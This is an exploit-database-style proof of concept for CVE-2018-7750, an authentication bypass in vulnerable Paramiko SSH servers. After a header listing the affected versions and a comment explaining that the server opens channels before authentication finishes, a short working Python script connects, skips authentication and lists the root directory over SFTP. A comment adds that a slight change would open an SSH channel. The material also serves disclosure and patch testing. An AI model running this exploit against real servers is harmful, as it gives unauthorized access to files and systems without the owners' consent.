Paramiko 2.4.1 Authentication Bypass

`# Exploit Title: Paramiko 2.4.1 - Authentication Bypass  
# Date: 2018-10-27  
# Exploit Author: Adam Brown  
# Vendor Homepage: https://www.paramiko.org  
# Software Link: https://github.com/paramiko/paramiko/tree/v1.15.2  
# Version: < 1.17.6, 1.18.x < 1.18.5, 2.0.x < 2.0.8, 2.1.x < 2.1.5, 2.2.x < 2.2.3, 2.3.x < 2.3.2, and 2.4.x < 2.4.1  
# Tested on: Multiple  
# CVE : CVE-2018-7750  
  
# This PoC is based on discussions found at the following github issue:  
# https://github.com/paramiko/paramiko/issues/1175  
# TLDR, Paramiko doesn't check if the client has completed the authentication step  
# before allowing the client to open channels. The PoC below connects to an SFTP  
# server, and lists the root directory without authenticating. Slight modification  
# is required if you want to open an SSH channel.  
  
#!/usr/bin/python  
import paramiko  
  
host = '127.0.0.1'  
port = 22  
  
trans = paramiko.Transport((host, port))  
trans.start_client()  
  
# If the call below is skipped, no username or password is required.  
# trans.auth_password('username', 'password')  
  
sftp = paramiko.SFTPClient.from_transport(trans)  
print(sftp.listdir('/'))  
sftp.close()  
  
`